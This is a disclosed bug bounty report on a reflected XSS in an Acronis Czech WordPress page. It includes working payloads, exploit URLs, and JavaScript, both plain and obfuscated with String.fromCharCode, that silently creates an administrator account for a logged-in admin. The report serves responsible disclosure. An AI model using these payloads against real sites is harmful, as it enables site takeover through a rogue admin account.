HexBrain

Acronis · Report #935503

Reflected XSS on cz.acronis.com/dekujeme-za-odber-novinek-produktu-disk-director with ability to creating an admin user in WordPress

Validstatus
mediumseverity
9upvotes
22 Jun 2021disclosed

How it was found

Hi team,

There is a Reflected XSS on https://cz.acronis.com/dekujeme-za-odber-novinek-produktu-disk-director/

This attack uses the same technique as my other report 901014 for creating an administrator user in Wordpress with an new XSS vulnerability in website.

Pre-requisite: User must be logged in to the WordPress in as an admin.

Parameter vulnerable: email=

Payload used:

[email protected]<%2fscript><script>alert(1)<%2fscript>qw87f [email protected]%3C%2fscript%3E%3Cscript%3Eeval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,97,116,116,97,99,107,101,114,38,101,109,97,105,108,61,97,116,116,97,99,107,101,114,64,115,105,116,101,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59))%3C%2fscript%3Eg8s3p

XSS URL Test:

https://cz.acronis.com/dekujeme-za-odber-novinek-produktu-disk-director/?user=OK&oktosend=&[email protected]%3c%2fscript%3e%3cscript%3ealert(1)%3c%2fscript%3eqw87f

XSS URL for creating admin user in WordPress:

https://cz.acronis.com/dekujeme-za-odber-novinek-produktu-disk-director/?user=OK&oktosend=&[email protected]%3C%2fscript%3E%3Cscript%3Eeval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,97,116,116,97,99,107,101,114,38,101,109,97,105,108,61,97,116,116,97,99,107,101,114,64,115,105,116,101,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59))%3C%2fscript%3Eg8s3p

Javascript code used to create admin user in WordPress:

var ajaxRequest=new XMLHttpRequest,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1),ajaxRequest.send();var nonceMatch=nonceRegex.exec(ajaxRequest.responseText),nonce=nonceMatch[1],params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=attacker&pass2=attacker&role=administrator";(ajaxRequest=new XMLHttpRequest).open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params); 

Eval encoded Javascript for execution with XSS, payload:

eval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,97,116,116,97,99,107,101,114,38,101,109,97,105,108,61,97,116,116,97,99,107,101,114,64,115,105,116,101,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59))

Testing the payload on the browser and inspecting the traffic, we can verify the request to user-new.php, proving that if the user is logged in WordPress the payload would be executed and a new admin (controlled by the attacker) user created:

{F917829}

Regards

Impact

An attacker execute arbitrary JavaScript code in the context of the users website with ability to can gain admin access on platform.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original